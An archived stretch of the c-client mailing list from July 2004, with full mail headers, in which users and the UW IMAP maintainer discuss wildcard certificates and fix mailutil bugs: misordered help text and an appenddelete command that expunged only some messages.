IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 9 Jul 2004, Sobocinski, Todd wrote: > Assuming you support SSL/TLS, how do you get around matching a server > certificate CN to each of your per-user DNS entries? Do you use > wildcard certificates? Yes, we use wildcard certificates. By the way, the DNS server for that zone is tied to the accounting system, as opposed to having manually-edited zone files. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Jul 11 11:54:54 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 11:54:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BIssf4026617 for ; Sun, 11 Jul 2004 11:54:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BIsq7g005108 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 11:54:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BIsY3V013858; Sun, 11 Jul 2004 11:54:35 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BIqgUj046638 for ; Sun, 11 Jul 2004 11:52:43 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BIqfDw032656 for ; Sun, 11 Jul 2004 11:52:41 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 12DE8E4E7 for ; Sun, 11 Jul 2004 20:52:40 +0200 (CEST) Message-Id: Date: Sun, 11 Jul 2004 20:52:39 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: c-client@u.washington.edu Subject: IMAP tools software mail utility help in wrong order MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This corresponds to IMAP-2004 release. Bug report address extracted from imap-2004/SUPPORT. In the output of mailutil below, the "prune mailbox of ..." should be exchanged with "copy/move messages to existing mailbox" line so the help text corresponds to the correct command. $ mailutil usage: mailutil check [-debug] [-verbose] [mailbox] ;; report number of messages and new messages mailutil create [-debug] [-verbose] new_mailbox ;; create new mailbox mailutil delete [-debug] [-verbose] mailbox ;; delete existing mailbox mailutil rename [-debug] [-verbose] source destination ;; rename mailbox to a new name mailutil (copy | move) [-debug] [-verbose] old_mailbox new_mailbox ;; create new mailbox and copy/move messages mailutil (append | appenddelete) [-debug] [-verbose] source destination ;; prune mailbox of messages matching criteria mailutil prune [-debug] [-verbose] mailbox search_criteria ;; copy/move messages to existing mailbox mailutil transfer [-debug] [-verbose] [-merge mode] source destination ;; make copy of source hierarchy to destination ;; -merge modes are prompt, append, or suffix=xxxx -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jul 11 12:23:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 12:23:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJNjZF027311 for ; Sun, 11 Jul 2004 12:23:45 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJNhuO005842 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 12:23:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BJNSD2014788; Sun, 11 Jul 2004 12:23:28 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJM52H041484 for ; Sun, 11 Jul 2004 12:22:05 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJM4bO026582 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 11 Jul 2004 12:22:04 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJLwhr010942; Sun, 11 Jul 2004 12:21:58 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJLwRq014195; Sun, 11 Jul 2004 12:21:58 -0700 Message-Id: Date: Sun, 11 Jul 2004 12:21:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Henrik Edlund Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have fixed this. Thank you. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Jul 11 12:26:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 12:26:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJQjqp027361 for ; Sun, 11 Jul 2004 12:26:45 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJQhom005923 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 12:26:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BJQYDH011942; Sun, 11 Jul 2004 12:26:34 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJPn1I041592 for ; Sun, 11 Jul 2004 12:25:49 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJPl3W012817 for ; Sun, 11 Jul 2004 12:25:48 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 4DAF2E4E7; Sun, 11 Jul 2004 21:25:47 +0200 (CEST) Message-Id: Date: Sun, 11 Jul 2004 21:25:46 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jul 2004, Mark Crispin wrote: > I have fixed this. Thank you. Thanks. I also seem to have problem with "appenddelete". It sure appends, just like "append", but it does not delete the messages it has moved to the existing mailbox. I have to use "prune ALL" in my script now to get rid of the messages after I moved them using "appenddelete", which has some un-nice race conditions. Anything known? From pinedev@shivax2.cac.washington.edu Sun Jul 11 12:52:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 12:52:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJqebd028128 for ; Sun, 11 Jul 2004 12:52:40 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJqcj2007349 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 12:52:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BJqN28014470; Sun, 11 Jul 2004 12:52:23 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJpM9H010078 for ; Sun, 11 Jul 2004 12:51:22 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJpLPx002491 for ; Sun, 11 Jul 2004 12:51:22 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJpFB5028920; Sun, 11 Jul 2004 12:51:16 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJpFbV014738; Sun, 11 Jul 2004 12:51:15 -0700 Message-Id: Date: Sun, 11 Jul 2004 12:51:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Henrik Edlund Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jul 2004, Henrik Edlund wrote: > I also seem to have problem with "appenddelete". It sure appends, just like > "append", but it does not delete the messages it has moved to the existing > mailbox. I have to use "prune ALL" in my script now to get rid of the > messages after I moved them using "appenddelete", which has some un-nice race > conditions. appenddelete works for me. Is the source mailbox readonly? What server are you using? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Jul 11 12:54:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 12:54:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJsCBW028160 for ; Sun, 11 Jul 2004 12:54:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJsA4M006496 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 12:54:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BJs2e4014482; Sun, 11 Jul 2004 12:54:02 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BJrNUI046764 for ; Sun, 11 Jul 2004 12:53:23 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BJrLnD007686 for ; Sun, 11 Jul 2004 12:53:22 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 60722E4E7; Sun, 11 Jul 2004 21:53:21 +0200 (CEST) Message-Id: Date: Sun, 11 Jul 2004 21:53:20 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jul 2004, Mark Crispin wrote: > appenddelete works for me. Is the source mailbox readonly? No. It is writable by the user running mailutil. > What server are you using? This is direct disk access. But otherwise I run your IMAP-2004. From pinedev@shivax2.cac.washington.edu Sun Jul 11 13:02:53 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 13:02:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK2rix028343 for ; Sun, 11 Jul 2004 13:02:53 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK2pnO006654 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 13:02:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BK2chg010760; Sun, 11 Jul 2004 13:02:38 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BK27XI046840 for ; Sun, 11 Jul 2004 13:02:07 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK24au027661 for ; Sun, 11 Jul 2004 13:02:04 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 9386DE4E7; Sun, 11 Jul 2004 22:02:03 +0200 (CEST) Message-Id: Date: Sun, 11 Jul 2004 22:02:02 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Sun, 11 Jul 2004, Mark Crispin wrote: > > appenddelete works for me. Is the source mailbox readonly? I ran it now with -verbose -debug on a mailbox with 3 instead of 1 test message. Seems it expunged 2 of the 3 messages and left 1. This explains why I thought it never expunged as I tested on a mailbox with 1 message before. But it is still a bug: $ mailutil appenddelete -debug -verbose Mail/henrik Mail/read-messages /home/henrik/Mail/henrik [3 message(s)] => Mail/read-messages [Ok 3 messages(s)] [Expunged 2 messages] From pinedev@shivax2.cac.washington.edu Sun Jul 11 13:05:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 13:05:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK5QlH028393 for ; Sun, 11 Jul 2004 13:05:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK5O1M006696 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 13:05:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BK5GlD013912; Sun, 11 Jul 2004 13:05:16 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BK4hKM064340 for ; Sun, 11 Jul 2004 13:04:43 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BK4ggm013500 for ; Sun, 11 Jul 2004 13:04:42 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK4f4l025175; Sun, 11 Jul 2004 13:04:41 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BK4fos014997; Sun, 11 Jul 2004 13:04:41 -0700 Message-Id: Date: Sun, 11 Jul 2004 13:04:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Henrik Edlund Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jul 2004, Henrik Edlund wrote: > I ran it now with -verbose -debug on a mailbox with 3 instead of 1 test > message. This sounds like a bug that was fixed a few months ago. Does it work in the imap-2004a development snapshot? ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Jul 11 13:13:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jul 2004 13:13:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BKDKQC028563 for ; Sun, 11 Jul 2004 13:13:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BKDIii007784 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Jul 2004 13:13:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6BKD35q005156; Sun, 11 Jul 2004 13:13:03 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6BKCXOt123160 for ; Sun, 11 Jul 2004 13:12:33 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6BKCUBp005955 for ; Sun, 11 Jul 2004 13:12:30 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 84A86E4E7; Sun, 11 Jul 2004 22:12:29 +0200 (CEST) Message-Id: Date: Sun, 11 Jul 2004 22:12:28 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Jul 2004, Mark Crispin wrote: > This sounds like a bug that was fixed a few months ago. > > Does it work in the imap-2004a development snapshot? > ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z I'll compile it tomorrow and report back. From pinedev@shivax2.cac.washington.edu Mon Jul 12 10:16:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Jul 2004 10:16:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6CHGVmx031655 for ; Mon, 12 Jul 2004 10:16:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6CHGTJq008643 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 12 Jul 2004 10:16:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6CHGEcX011936; Mon, 12 Jul 2004 10:16:14 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6CHF9DC068794 for ; Mon, 12 Jul 2004 10:15:09 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6CHF59e026962 for ; Mon, 12 Jul 2004 10:15:06 -0700 Received: from ticalc.ticalc.org (ticalc.ticalc.org [62.65.69.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ticalc.ticalc.org (Postfix) with ESMTP id 00430E4F0; Mon, 12 Jul 2004 19:15:04 +0200 (CEST) Message-Id: Date: Mon, 12 Jul 2004 19:14:53 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henrik Edlund To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP tools software mail utility help in wrong order In-Reply-To: References: MIME-Version: 1.0 Content-Type: MULTIPART/signed; BOUNDARY="1094583365-1478915396-1089652505=:26373"; protocol="application/x-pkcs7-signature"; micalg=sha1 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, ORDER_STATUS 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, EMAIL_ATTRIBUTION 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --1094583365-1478915396-1089652505=:26373 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed On Sun, 11 Jul 2004, Mark Crispin wrote: > This sounds like a bug that was fixed a few months ago. > > Does it work in the imap-2004a development snapshot? > ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z "appenddelete" in mailutil from imap-2004a.DEV.SNAP-0407071749 work as expected. The one in imap-2004 is broken. --1094583365-1478915396-1089652505=:26373 Content-Type: APPLICATION/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: BASE64 Content-Description: S/MIME Cryptographic Signature Content-Disposition: attachment; filename="smime.p7s" 